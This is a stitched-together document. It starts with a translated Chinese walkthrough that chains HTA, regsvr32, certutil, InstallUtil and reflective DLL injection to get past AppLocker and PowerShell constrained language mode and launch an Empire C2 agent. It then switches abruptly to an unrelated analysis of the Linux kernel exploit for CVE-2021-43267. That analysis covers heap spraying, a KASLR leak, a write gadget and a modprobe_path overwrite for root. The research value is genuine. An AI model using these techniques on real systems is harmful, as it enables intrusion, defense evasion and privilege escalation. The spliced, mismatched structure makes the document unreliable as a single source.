本文是关于即使开启了Applocker和PowerShell受限语言模式，如何通过一个HTA文件获取Empire
agent。在那之前，我想强调下做坏事后果自负。如果我试图在机器上面运行一个恶意程序（Malware.exe），得到下面的提示：
并且如果我尝试在PowerShell中使用.NET组件运行命令，也会被阻止：
同样，如果我试图在使用HTA之前启动相同的攻击，也被阻止了：
由于受限语言模式，我们从PowerShell中得到了相同的错误。现在我不得不绕过它。
**0x03 PowerShell without PowerShell**
有一些[研究](http://www.blackhillsinfosec.com/?p=5257)是不使用powershell.exe运行PowerShell命令。这个想法是因为PowerShell.exe只是.NET集合System.Management.Automation的解释器，并且完全可以自己写解释器调用那个集合。我们面对的问题是应用程序白名单，因此我们需要启动自定义的解释器。而且这个解释器不得不运行在一些进程地址空间内。我想把它注入到一个存在的进程中，而不是它自己创建自己，且要保持和agent一起使用。在搜索之后，我发现Veris
Group发布的PowerPick[项目](https://github.com/leechristensen/UnmanagedPowerShell)，包含了一个ReflectivePick模块（以Lee
Christensen
(@tifkin_)的项目为基础重建）。它是一个C++程序，编译后是一个DLL，且调用了一个来自System.Management.Automation的自定义运行空间，能允许PowerShell命令运行。
为了测试，我使用简单的命令编译了ReflectivePick DLL，以便在运行空间中执行。
我从白名单文件夹中使用rundll32来运行ReflectivePick DLL，结果如下：
PowerShell命令执行了，甚至更重要的是运行空间的语言模式是FullLanguage，即使AppLocker锁定powershell.exe为受限语言模式。
使用这个，我更新了参数列表，其包含上面的base64编码的Powershell Empire stager和一个解码的函数过程，因为我们不再需要使用-Encoded参数。我也将解码的命令行保存到文件中，以便调试。所有的命令行显示如下：
从命令行运行更新的DLL，显示解码的Empire stager的文本文件如下：
和一个Empire agent已启动：
**0x04 注入其他进程**
目前为止，我们创建了一个新进程rundll32，且加载了DLL。这不是一个可行的方案，因为这个DLL不是白名单内的，而且我们还创建了一个新进程。为了避免这两个问题，我们能通过Powershell脚本Invoke-ReflectivePEInjection注入ReflectivePick
DLL到其他进程。这在受限语言模式启用时当然会触发启动Powershell脚本的问题，过会我们在回到这看。Invoke-ReflectivePEInjection使用两个参数，字节数组的DLL和被注入的进程ID，因此我们先找到PID：
然后我们将ReflectivePick DLL转化为一个字节数组，显示如下：
Invoke-ReflectivePEInjection脚本，以函数形式编写，因此我们首先要导入这个模块，确保它放在白名单目录，以避免触发受限语言模式。然后以PID和DLL为参数调用它：
我们注意到Empire stager创建的调试文本文件，如下所见，我们成功让agent运行在explorer进程中：
让我们将用于获取的PID和字节数组DLL的命令行嵌入Powershell脚本，同时我们不必导入它就能调用这个函数。添加完后的脚本如下：
然后我们无参数运行Powershell脚本：
并且我们得到了Empire agent的回调：
我们一直面对一个问题，即ReflectivePick
DLL以文件形式存在磁盘上，因此让我们将它嵌入到Powershell脚本中。将DLL字节数组base64编码，显示如下：
然后把文件的内容编码拷贝到Powershell脚本中，并赋值给一个变量：
并且，代替从磁盘取得文件字节，我们将从保存base64编码的内容的变量中获得：
我们再一次得到了Empire agent：
**0x05 从InstallUtil.exe调用Powershell**
原则上，我们还没有实现任何东西，因为现在我们使用Powershell将DLL加载进内存中调用Powershell，仍会被受限语言模式阻止。然而，我们已经确保Powershell在一个存在的进程中执行，而不是创建一个新的。我们需要克服调用Invoke-ReflectivePEInjection会被受限语言模式阻止的问题。为了实现这个，我们使用InstallUtil.exe来运行一个自定义的EXE，以创建一个非托管的Powershell运行空间。Casey
Smith发布了一种使用InstallUtil.exe绕过AppLocker的方法和创建Powershell运行空间的PoC代码。
我修改了代码，来执行一个预定义的命令，其开始只是一些假的代码来确保能工作，显示如下：
把它编译为Bypass.exe，且尝试在受害者机器上面运行它，很明显会被AppLocker阻止:
然后我们运行InstallUtil.exe来执行卸载方法，下面是Casey Smith描述的命令行参数：
从上图得知，命令执行了且自定义的Powershell运行空间不会开启受限语言模式。从这里，我们将测试命令改变为整个Invoke-ReflectivePEInjection脚本及嵌入的DLL和添加的启动命令。我们现在面临了另一个困难，Powershell以新行或分号分割命令。Invoke-ReflectivePEInjetion有很多行，但是把它嵌入到C#代码则需要的是一行。为了修改这个问题，我们将整个文件base64编码。显示如下：
将它和base64解码例程一起嵌入到EXE中：
我们也将解码的Powershell命令写入test5.txt文件，来确保工作正常。以新代码运行InstallUtil.exe：
Invoke-ReflectivePEInjection脚本被解码其保持了一行，Empire stager也被写入了调试文件。如下所见，Empire
agent成功启动了：
**0x06 调用InstallUtil.exe**
目前为止，我们设法将绕过Powershell的受限语言模式转化为EXE文件绕过AppLocker。虽然我们成功执行了EXE，我们还是需要一些方法来调用InstallUtil.exe并下载EXE到磁盘上。为了实现这个我们来看下regsvr32.exe，它是Casey
Smith描述的另一个绕过AppLocker的方法。
Regsvr32.exe能用来只想能够包含JavaScript的脚本。因此，我们开始欺骗且EXE还是在磁盘上，但是通过regsvr32.exe来运行脚本执行InstallUtil.exe。Casey
Smith的PoC代码修改如下：
运行如下：
能得到一个Empire agent回调：
现在你可能知道为什么我使用regsvr32.exe来启动InstallUtil.exe，因为我事实上没有得到任何东西。但是关键点是regsvr32.exe也能用来下载EXE到磁盘上，而且脚本文件也存储在一个web服务器上，显示如下：
**0x07 下载文件**
为了通过regsvr32.exe测试下载，我base64编码了一个假的文本：
然后我们使用Casey Smith发现的另一个滥用certutil.exe来解码并写磁盘文件方法。Base64编码的文本放置在BEGIN
CERTIFICATE和END
CERTIFICATE标记中，来给certutil.exe提供正确的格式。然后我们将base64编码的文本写入一个文件，且使用certutil.exe解码它：
像下面这样执行它：
文件内容被解码成功。现在是时候做点微调，代替嵌入EXE给InstallUtil.exe。因此，我们在另一台电脑上使用certutil编码它：
为了允许base64编码内容多行显示，我们在每行的末尾添加一个反斜杠：
测试结果是我们不能嵌入编码的EXE到一个脚本中。因此我不得不将它分割为4部分。每个携带一些base64代码且将它写入一个文件：
执行后，写入的文件显示如下：
然后，我创建第5个脚本，将磁盘上的4个文件组合为一个文本文件，并调用certutil.exe解码它，将EXE写入磁盘：
运行所有的脚本：
有Empire agent回调：
为了压缩这个，我将4个脚本片段的调用嵌入到主脚本中：
再次运行，得到一个Empire agent回调：
**0x08 回到HTA**
现在我们有了一个单独的命令，我们能调用后创建我们的Empire agent。为了启动它，我们能嵌入这个命令到HTA文件中，就像AppLocker不存在一样：
在调用邮件中放入这个文件的链接，最终在用户的浏览器中调用：
运行后，能得到我们期望的Empire agent，尽管AppLocker和Powershell受限语言模式都开启了：
**0x09 总结**
总结下这个方法，有web服务器提供一个HTA，其调用Regsvr32.exe来只想执行5个脚本，脚本用来下载base64编码的EXE，解码并写入磁盘。然后执行InstallUtil.exe绕过AppLocker，继而执行EXE的卸载方法。EXE包含了base64编码的Powershell脚本，其被解码并在EXE创建的一个自定义的Powershell运行空间中只执行。Powershell脚本包含一个base64编码的DLL，其被解码且反射加载进explorer进程。反射加载的DLL包含一个base64编码的Powershell脚本，其被解码且在explorer进程中创建的自定义的Powershell运行空间中执行。Powershell脚本是Powershell
Empire agent的普通的stager。
对于这种攻击能生效，下面的二进制文件需要被AppLocker标记为白名单：
mshta.exe
regsvr32.exe
certutil.exe
installutil.exe
四个都需要在白名单中，如果使用默认AppLocker规则或所有微软签名的二进制文件是受信任的，它们将是白名单。虽然这种攻击确实能绕过AppLocker和Powershell受限语言模式，并且在另外的AMSI中，将不能绕过ScriptBlock日志记录，因此检测是可能的，如下所见：
我想感谢Casey Smith，Lee
Christensen和本文所参考的其他人的成果。独立的代码部分能在[github](https://github.com/MortenSchenk/Babuska-Dolls)找到。 | 社区文章 |
# CVE-2021-43267 TIPC协议MSG_CRYPTO消息溢出利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**影响版本** ：Linux v5.10-rc1 ~ v5.14.15。v5.14.16已修补。高危，可导致远程提权，评分9.8。
默认不加载，需用户配置。
**测试版本** ：Linux-5.14.15 [exploit及测试环境下载地址](https://github.com/bsauce/kernel-exploit-factory)—<https://github.com/bsauce/kernel-exploit-factory>
**编译选项** ： 配置所有`**TIPC**`选项， **CONFIG_TIPC=y** ；`**NETLINK**`选项。
在编译时将`.config`中的`CONFIG_E1000`和`CONFIG_E1000E`，变更为=y。[参考](https://blog.csdn.net/qq_16097611/article/details/104965045)
exp原作者关闭了 `CONFIG_SLAB_FREELIST_RANDOM` 和
`CONFIG_SLAB_FREELIST_HARDENED`，难怪我的测试总是不能成功。如何在有`CONFIG_SLAB_FREELIST_HARDENED`保护的情况下提高利用成功率呢？
# 安装 pahole, 否则 CONFIG_DEBUG_INFO_BTF 不成功。 但是安装完后还是报错，所以修改.config 中 CONFIG_DEBUG_INFO_BTF=n 来关闭BTF。
$ git clone https://git.kernel.org/pub/scm/devel/pahole/pahole.git/
$ cd pahole
$ mkcd build
$ sudo apt-get install cmake libdw-dev zlib1g zlib1g-dev libelf-dev dwarves
$ cmake -D__LIB=lib ..
$ sudo make install
$ sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc qemu qemu-system bison flex libncurses5-dev libelf-dev
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.14.15.tar.xz
$ tar -xvf linux-5.14.15.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。
# 问题：make[1]: *** No rule to make target 'debian/canonical-certs.pem'
# 解决：修改 .config, 将 CONFIG_SYSTEM_TRUSTED_KEYS 和 CONFIG_SYSTEM_REVOCATION_KEYS 置空即可
# CONFIG_DEBUG_INFO_BTF=n
**漏洞描述** ：漏洞位于 `net/tipc/crypto.c` 文件，TIPC（Transparent Inter-Process
Communication）集群内通信协议中对 `MSG_CRYPTO`
类型的消息长度验证出错，导致堆溢出。[tipc_crypto_key_rcv()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/crypto.c#L2281)
函数中，TIPC消息（[tipc_msg](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/msg.h#L148)结构）的数据部分指向`MSG_CRYPTO`消息（[tipc_aead_key](https://elixir.bootlin.com/linux/v5.14.15/source/include/uapi/linux/tipc.h#L241)结构），在分配`tipc_aead_key`
空间并拷贝 `tipc_aead_key->key` 时，未校验`tipc_aead_key->keylen`的有效性，导致拷贝越界。只对TIPC消息的
`header size` 和 `msg size` 进行检查，却没有对
`MSG_CRYPTO`消息的`tipc_aead_key->keylen`进行检查。
**补丁**
：[patch](https://github.com/torvalds/linux/commit/fa40d9734a57bcbfa79a280189799f76c88f7bb0)
在拷贝 `MSG_CRYPTO` 消息之前检查 keylen 和 size。
net/tipc/crypto.c | 32 +++++++++++++++++++++----------- 1 file changed, 21 insertions(+), 11 deletions(-)
diff --git a/net/tipc/crypto.c b/net/tipc/crypto.c
index c9391d38d..dc60c32bb 100644
--- a/net/tipc/crypto.c
+++ b/net/tipc/crypto.c
@@ -2285,43 +2285,53 @@ static bool tipc_crypto_key_rcv(struct tipc_crypto *rx, struct tipc_msg *hdr)
u16 key_gen = msg_key_gen(hdr);
u16 size = msg_data_sz(hdr);
u8 *data = msg_data(hdr);
+ unsigned int keylen;
+
+ /* Verify whether the size can exist in the packet */
+ if (unlikely(size < sizeof(struct tipc_aead_key) + TIPC_AEAD_KEYLEN_MIN)) {
+ pr_debug("%s: message data size is too small\n", rx->name);
+ goto exit;
+ }
+
+ keylen = ntohl(*((__be32 *)(data + TIPC_AEAD_ALG_NAME)));
+
+ /* Verify the supplied size values */
+ if (unlikely(size != keylen + sizeof(struct tipc_aead_key) ||
+ keylen > TIPC_AEAD_KEY_SIZE_MAX)) {
+ pr_debug("%s: invalid MSG_CRYPTO key size\n", rx->name);
+ goto exit;
+ }
spin_lock(&rx->lock);
if (unlikely(rx->skey || (key_gen == rx->key_gen && rx->key.keys))) {
pr_err("%s: key existed <%p>, gen %d vs %d\n", rx->name,
rx->skey, key_gen, rx->key_gen);
- goto exit;
+ goto exit_unlock;
}
/* Allocate memory for the key */
skey = kmalloc(size, GFP_ATOMIC);
if (unlikely(!skey)) {
pr_err("%s: unable to allocate memory for skey\n", rx->name);
- goto exit;
+ goto exit_unlock;
}
/* Copy key from msg data */
- skey->keylen = ntohl(*((__be32 *)(data + TIPC_AEAD_ALG_NAME)));
+ skey->keylen = keylen;
memcpy(skey->alg_name, data, TIPC_AEAD_ALG_NAME);
memcpy(skey->key, data + TIPC_AEAD_ALG_NAME + sizeof(__be32),
skey->keylen);
- /* Sanity check */
- if (unlikely(size != tipc_aead_key_size(skey))) {
- kfree(skey);
- skey = NULL;
- goto exit;
- }
- rx->key_gen = key_gen;
rx->skey_mode = msg_key_mode(hdr);
rx->skey = skey;
rx->nokey = 0;
mb(); /* for nokey flag */
- exit:
+ exit_unlock:
spin_unlock(&rx->lock);
+ exit:
/* Schedule the key attaching on this crypto */
if (likely(skey && queue_delayed_work(tx->wq, &rx->work, 0)))
return true;
**保护机制** ：SMEP / SMAP / KASLR / KPTI
**利用总结** ：
* （1）使用netlink来使能 `UDP bearer media` ；
* （2）创建有效的node link: 发送 `LINK_CONFIG` / `LINK_PROTOCOL` / `LINK_PROTOCOL` 包；
* （3）创建 `/tmp/benign` 错误elf文件, 触发modprobe; 创建 `/tmp/hax` 提权文件, `modprobe_path` 将指向 `"/tmp/hax"`；
* （4）堆喷布置2048个 `msg_msg` 消息, 释放偶数下标的 `msg_msg`；
* （5）触发tipc漏洞，泄露内核基址；
* （5-1）触发 tipc 漏洞, 篡改 `msg_msg->m_ts`；
* （5-2）喷射 0x40 个 `tty_struct` 结构，便于越界读泄露；
* （5-3）`msg_msg` 越界读泄露 `tty_struct->ops` 和 `tty_struct->ldisc_sem->read_wait->next`（若读取到`tty_struct->magic` 也即0x5401，则表示泄露成功）；
* （6）篡改 `tty_struct->ops.ioctl` 指针, 并篡改 `modprobe_path` 为 `"/tmp/hax"`；
* （6-1）`msg_msg` 消息偏移0x60处放置gadget `mov qword ptr [rdx], rsi` 地址（伪造`tty_operations->ioctl`指针），喷射2048个这样的`msg_msg`；
* （6-2）篡改 `tty_struct->ops` 指针，指向某个 `msg_msg` 的消息开头；
* （6-3）调用 `ioctl` 触发任意写gadget，篡改 `modprobe_path` 为 `"/tmp/hax"`；
* （7）执行 `/tmp/hax` 触发modprobe并提权。
* * *
## 1\. 漏洞分析
#### 1-1. TIPC协议介绍
**简介** ：TIPC（Transparent Inter Process
Communication）是一种专为集群内通信而设计的协议。消息传递是顺序保证、无丢失和流控制的。延迟时间比任何其他已知协议都短，而最大吞吐量可与 TCP
相媲美。
**配置** ：默认不加载，需用户来加载。加载时，TPIC可以用作socket并可以用Netlink接口来配置，它可以配置为通过 UDP
或直接通过Ethernet以太网传输消息。但是低权限的用户无法创建Ethernet帧，所以使用UDP更容易实现本地漏洞利用。
**协议头**
：虽然TIPC是在这些协议之上运行的，但有独立的地址方案，节点可以选择自己的地址。所有的消息构造和分析都是在kernel中进行的。每个TIPC消息都有相同的通用header格式和消息特定的header，
**TIPC消息（`tipc_msg`结构）存储地址位于`sk_buff->data`指向的线性数据区**。对该漏洞来说，通用header最重要的部分是
**`Header Size` 和 `message size`**。
TIPC消息的header如下所示：
[tipc_msg_validate()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/msg.c#L252)
函数负责验证这两个size的大小。 调用路径 ——
[tipc_rcv()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/node.c#L2103)
->
[tipc_msg_validate()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/msg.c#L252)
bool tipc_msg_validate(struct sk_buff **_skb)
{
struct sk_buff *skb = *_skb;
struct tipc_msg *hdr;
int msz, hsz;
/* Ensure that flow control ratio condition is satisfied */
if (unlikely(skb->truesize / buf_roundup_len(skb) >= 4)) {
skb = skb_copy_expand(skb, BUF_HEADROOM, 0, GFP_ATOMIC);
if (!skb)
return false;
kfree_skb(*_skb);
*_skb = skb;
}
if (unlikely(TIPC_SKB_CB(skb)->validated))
return true;
if (unlikely(!pskb_may_pull(skb, MIN_H_SIZE)))
return false;
hsz = msg_hdr_sz(buf_msg(skb)); // <------ [1-1] header size buf_msg(skb) 返回 skb->data指针（存储数据包的内容和各层协议头, 这里是tipc_msg结构, 参考CVE-2017-6074对sk_buff的分析）; msg_hdr_sz() 取 hsz = (tipc_msg->hdr[0]>>21 & 0xf) << 2, 注意乘了4
if (unlikely(hsz < MIN_H_SIZE) || (hsz > MAX_H_SIZE)) // 满足 hsz 在 24~60 之间
return false;
if (unlikely(!pskb_may_pull(skb, hsz)))
return false;
hdr = buf_msg(skb);
if (unlikely(msg_version(hdr) != TIPC_VERSION))
return false;
msz = msg_size(hdr); // <------ [1-2] msg size msg_size() 取 msz = tipc_msg->hdr[0] & 0x1fff
if (unlikely(msz < hsz))
return false;
if (unlikely((msz - hsz) > TIPC_MAX_USER_MSG_SIZE)) // 满足 msz-hsz<66000
return false;
if (unlikely(skb->len < msz)) // [1-3] // 满足 skb->len > msz; 注意skb->len表示数据区的总长度: (tail - data) + 分片结构体数据区的长度
return false;
TIPC_SKB_CB(skb)->validated = 1;
return true;
}
// TIPC 消息结构
struct tipc_msg {
__be32 hdr[15];
};
static inline u32 msg_hdr_sz(struct tipc_msg *m)
{
return msg_bits(m, 0, 21, 0xf) << 2;
}
static inline struct tipc_msg *buf_msg(struct sk_buff *skb)
{
return (struct tipc_msg *)skb->data;
}
**TIPC消息头检查总结** ：
* `[1-2]`处 —— TIPC消息的 `hsz` – `header size` 在 24~60 字节之间；
* `[1-2]`处 —— `msz` – `msg size` 满足 `skb->len > msz`（注意`skb->len`表示数据区的总长度：(tail – data) + 分片结构体数据区的长度）。
#### 1-2. 漏洞分析
**`MSG_CRYPTO` 消息结构**：2020年9月引入了一个新的用户消息类型——
`MSG_CRYPTO`，该消息类型允许节点发送加密的秘钥。该消息结构如下所示：[tipc_aead_key](https://elixir.bootlin.com/linux/v5.14.15/source/include/uapi/linux/tipc.h#L241)
`MSG_CRYPTO`消息跟在TIPC消息头之后（偏移24处开始）。
#define TIPC_AEAD_ALG_NAME (32)
struct tipc_aead_key {
char alg_name[TIPC_AEAD_ALG_NAME]; // TIPC_AEAD_ALG_NAME 32
unsigned int keylen; /* in bytes */
char key[];
};
**`MSG_CRYPTO` 消息处理**：消息接收后，TIPC
kernel模块需要复制该信息到该节点来存储：[tipc_crypto_key_rcv()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/crypto.c#L2281)
**调用路径** ：（[struct tipc_media
udp_media_inf](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/udp_media.c#L845)
->
[tipc_udp_enable()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/udp_media.c#L775)
->
[tipc_udp_recv()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/udp_media.c#L390)）
|
[tipc_l2_rcv_msg()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/bearer.c#L652)
->
[tipc_rcv()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/node.c#L2145)
->
[tipc_link_rcv()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/link.c#L1835)
->
[tipc_link_input()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/link.c#L1330)
->
[tipc_data_input()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/link.c#L1301)
->
[tipc_crypto_msg_rcv()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/crypto.c#L2173)
->
[tipc_crypto_key_rcv()](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/crypto.c#L2281)
static bool tipc_crypto_key_rcv(struct tipc_crypto *rx, struct tipc_msg *hdr)
{
struct tipc_crypto *tx = tipc_net(rx->net)->crypto_tx;
struct tipc_aead_key *skey = NULL;
u16 key_gen = msg_key_gen(hdr);
u16 size = msg_data_sz(hdr); // [2-1] size = msg_size(m) - msg_hdr_sz(m) = msz - hsz
u8 *data = msg_data(hdr); // data = *hdr + hsz MSG_CRYPTO消息的拷贝起始地址，也即 tipc_aead_key 结构的起始地址
spin_lock(&rx->lock);
if (unlikely(rx->skey || (key_gen == rx->key_gen && rx->key.keys))) {
pr_err("%s: key existed <%p>, gen %d vs %d\n", rx->name,
rx->skey, key_gen, rx->key_gen);
goto exit;
}
/* Allocate memory for the key */
skey = kmalloc(size, GFP_ATOMIC); // [2-2] 分配空间，分配的 size = msg - hsz, 而 msz 和 hsz 都来自 TIPC 消息 (tipc_msg 结构)
if (unlikely(!skey)) {
pr_err("%s: unable to allocate memory for skey\n", rx->name);
goto exit;
}
/* Copy key from msg data */
skey->keylen = ntohl(*((__be32 *)(data + TIPC_AEAD_ALG_NAME))); // [2-3] 拷贝长度 skey->keylen 来自偏移 *(*data+32), 未对该值进行范围检查
memcpy(skey->alg_name, data, TIPC_AEAD_ALG_NAME); // [2-4] 拷贝算法名称, TIPC_AEAD_ALG_NAME = 32字节
memcpy(skey->key, data + TIPC_AEAD_ALG_NAME + sizeof(__be32), // [2-5] 拷贝密钥, 越界
skey->keylen);
/* Sanity check */
if (unlikely(size != tipc_aead_key_size(skey))) { // [2-6] 必须满足 size == sizeof(*skey) + skey->keylen, 这个检查已经晚了, 溢出已经发生了！！！！！
kfree(skey);
skey = NULL;
goto exit;
}
rx->key_gen = key_gen;
rx->skey_mode = msg_key_mode(hdr);
rx->skey = skey;
rx->nokey = 0;
mb(); /* for nokey flag */
exit:
spin_unlock(&rx->lock);
/* Schedule the key attaching on this crypto */
if (likely(skey && queue_delayed_work(tx->wq, &rx->work, 0)))
return true;
return false;
}
**`MSG_CRYPTO`消息处理漏洞总结**：TIPC消息（[tipc_msg](https://elixir.bootlin.com/linux/v5.14.15/source/net/tipc/msg.h#L148)结构）的数据部分指向`MSG_CRYPTO`消息（[tipc_aead_key](https://elixir.bootlin.com/linux/v5.14.15/source/include/uapi/linux/tipc.h#L241)结构），在分配`tipc_aead_key`
空间并拷贝 `tipc_aead_key->key`
时，未校验`tipc_aead_key->keylen`的有效性，导致拷贝越界。拷贝越界之后才检查keylen的有效性，为时已晚——`[2-6]`。只对TIPC消息的
`header size` 和 `msg size` 进行检查，却没有对
`MSG_CRYPTO`消息的`tipc_aead_key->keylen`进行检查。
**利用思路** ：攻击者可以创建一个`tipc_msg->size`
较小的TIPC消息来分配堆内存，再设置`tipc_aead_key->keylen`较大的`MSG_CRYPTO` 消息来触发越界写，触发漏洞的
`MSG_CRYPTO` 消息示例如下：
* * *
## 2\. 触发漏洞
#### 2-1. 交互方式
**shell交互**
：编译时开启TIPC或者加载TIPC模块后，可通过shell来与TIPC交互，采用`iproute2`中的`tipc`命令（可以采用buildroot来编译文件系统，开启iproute2选项后，文件系统中就含有tipc命令）。使能`UDP
bearer media`的具体命令是`tipc bearer enable media udp name <NAME> localip
<SOMELOCALIP>`。
**code交互** ：用户层可以使用netlink消息（`AF_TIPC`地址族）来使能`UDP bearer
media`，非特权用户也可以。所以即使没有配置TIPC，也能完成利用。
#### 2-2. 到达漏洞点
**思路** ：首先我们要使自己成为一个有效的node，并创建一个link，接着触发`MSG_CRYPTO`代码路径。参考TIPC的[protocol
specification](http://tipc.sourceforge.net/protocol.html)页面，可以了解传输、寻址、数据分片的细节。
**方法** ：exp作者通过PCAP抓包分析`tipc-over-udp
session`建立的过程，最后确定了我们发送消息前必发的几个包。总的来说，一个正常的TIPC数据包前面包含一个header，也即6个32字节（大端序），我们标记为w0~w5。w0编码了TIPC版本、header
size、payload size、message
protocol，还有个flag表示是否为顺序消息；w1表示协议消息的类型；w3包含一个`node_id`，表示node的标识符，一般用IPv4地址表示`node_id`。可通过[`net/tipc/msg.h`](https://elixir.bootlin.com/linux/latest/source/net/tipc/msg.h)
文件来了解header格式。
**创建有效node link过程** ：发送3个包。
* `LINK_CONFIG` 包会广告自己；
* `LINK_PROTOCOL` 包（`RESET_MSG`消息类型）会重置link；
* `LINK_PROTOCOL` 包（`STATE_MSG`消息类型）会提出link；
* 现在可以发送`MSG_CRYPTO` TIPC 包来触发堆溢出。
protocol: LINK_CONFIG -> message type: DSC_REQ_MSG
protocol: LINK_PROTOCOL -> message type: RESET_MSG
protocol: LINK_PROTOCOL -> message type: STATE_MSG
#### 2-3. 触发漏洞
**方法** ：前面已经分析过，`MSG_CRYPTO` 消息的堆块分配的size来自 `tipc_msg->msz -tipc_msg->hsz`，`MSG_CRYPTO` 消息的拷贝的size来自 `tipc_aead_key->keylen` 。所以通过控制
`tipc_msg->msz` 即可控制目标堆块的分配大小，控制 `tipc_aead_key->keylen` 即可控制堆块的溢出长度。
// TIPC 消息: (&tipc_msg + tipc_msg->hsz) 指向 MSG_CRYPTO 消息
struct tipc_msg {
__be32 hdr[15];
};
// MSG_CRYPTO 消息
struct tipc_aead_key {
char alg_name[TIPC_AEAD_ALG_NAME];
unsigned int keylen;
char key[];
};
**TIPC消息布置如下** ：注意hsz的大小需左移2位，也即乘以4。tipc消息 = `tipc_msg` \+ `tipc_aead_key`。
* * *
## 3\. 绕过KALSR
**泄露对象** ：采用ELOISE提出的`Elastic
Objects`，例如[CVE-2021-22555](https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html)中也用到过的`msg_msg`。篡改`msg_msg->m_ts`
就能调用 `msgrcv` 进行OOB读。
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
**问题**
：覆写`msg_msg->m_ts`的同时也会覆盖`msg_msg->m_list`，调用`msgrcv`时会将匹配的消息从链表中unlink，如果不正确构造`msg_msg->m_list`就会导致访问崩溃。解决办法是在调用`msgrcv`时传递`MSG_COPY`
flag，避免对目标消息进行unlink。
**思路** ：在空间上布置出 `msg_msg` -> `msg_msg` ->
`interesting_object`，然后释放第1个`msg_msg` ，分配`MSG_CRYPTO`
key堆块占据第1个`msg_msg`，再利用`MSG_CRYPTO` key的溢出来篡改第2个`msg_msg`的`msg_msg->m_ts`，越界读取
`interesting_object` 来泄露内核函数指针。
**victim对象** ：`interesting_object` 选取
`tty_struct`，我们可以通过`magic`值来确认我们泄露的结构是否为有效的`tty_struct`
（预期值为`TTY_MAGIC`-0x5401），`struct tty_operations *ops` 指向内核的`.data`段中某处，也即
[tty_operations](https://elixir.bootlin.com/linux/latest/source/include/linux/tty_driver.h#L247)，可泄露内核基址，绕过KASLR。
**泄露内核基址** ：泄露的`tty_struct`可能属于`master pty`或`slave pty`，所以泄露的地址可能是
`ptm_unix98_ops` 或 `pty_unix98_ops`。
**泄露堆地址** ：泄露 `tty_struct` 也能获得 `tty_struct` 的地址，因为
`tty_struct->ldisc_sem->read_wait->next` 指向 `next`
指针自身。`tty_struct->ldisc_sem->read_wait->next`
的偏移为0x38，减去0x408就是`msg_msg`数据部分的基址。
struct tty_struct {
int magic;
struct kref kref;
struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
...
}
**堆喷布局如下** ：
* * *
## 4\. 提权
**劫持RIP** ：劫持`tty_operations`。首先喷射一堆`fake
tty_operations`，然后根据上一步释放的堆指针来猜测其中一个`fake tty_operations`的地址。
* 重复分配`msg_msg`、分配`tty_struct`、释放`msg_msg`、触发TIPC漏洞来覆盖`tty_struct`；
* 为了确认是否成功覆盖`tty_struct`，可以尝试通过ioctl来调用`tty_struct.ops.ioctl`，如果成功劫持`ops`指针，就能控制RIP，否则调用`close()`关闭pty。
**任意写ROP** ：构造ROP链很难恢复现场，所以决定采用一条gadget来进行任意写。ioctl调用的原型为`int (*ioctl)(struct
tty_struct *tty, unsigned int cmd, unsigned long
arg)`，可控制32位的`cmd`和64位的`arg`参数，也就是`RSI`和`RDX`。任意写的gadget如下所示：本gadget还能将`rax`
清零，便于判断是否成功伪造`tty_operations`并劫持RIP。
$ objdump -D -j .text ./vmlinux_small \
| grep -C1 'mov %rsi,(%rdx)' \
| grep -B2 ret
..
ffffffff812c51f5: 31 c0 xor %eax,%eax
ffffffff812c51f7: 48 89 32 mov %rsi,(%rdx)
ffffffff812c51fa: c3 ret
..
**提权**
：传统方法是构造任意读和任意写来篡改cred，本文未采用这种方法。本文篡改`modprobe_path`（特权用户可以通过`/proc/sys/kernel/modprobe`来篡改）来执行恶意程序。如果执行一个magic值未知的binary，`request_module`最后会调用`call_modprobe`来发起一个基于`modprobe_path`的modprobe进程。
/*
* cycle the list of binary formats handler, until one recognizes the image
*/
static int search_binary_handler(struct linux_binprm *bprm)
{
..
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
..
}
**堆喷布局如下** ：
* * *
## 5\. 改进exp
**问题** ：exp作者编译的内核版本是 5.15.0，能够找到含 `xor eax, eax` （能反映执行是否成功）和 `mov dword ptr
[rdx], rsi` 的gadget，但我编译的5.14.15版本内核不含该gadget。
**解决** ：gadget中不需要含有 `xor eax, eax` 也能成功提权，见 `exp1.c`。成功提权截图如下：
**尝试别的gadget** ：全部尝试都失败，看来目前只能修改 `modprobe_path` 了。exp原作者修改 `modprobe_path`
的方式非常好，如果通过rop链来修改`modprobe_path`的话，还需要保存现场，无法保存rsp原先的值，因为不能用`xchg rsp, xxx`
这样的gadget。
// 首先执行到ioctl(), 发现 $rdi / $rbp / $r15 指向tty_struct, 可控
// (1) mov rsp, rdi/rbp/r15 没找到
// (2) mov rsp, qword ptr [rdi/rbp/r15 没找到
// (3) bridging gadget: regcache_mark_dirty(), 但是找不到 mov cr4, rdi
void regcache_mark_dirty(struct regmap *map)
{
map->lock(map->lock_arg);
map->cache_dirty = true;
map->no_sync_defaults = true;
map->unlock(map->lock_arg);
}
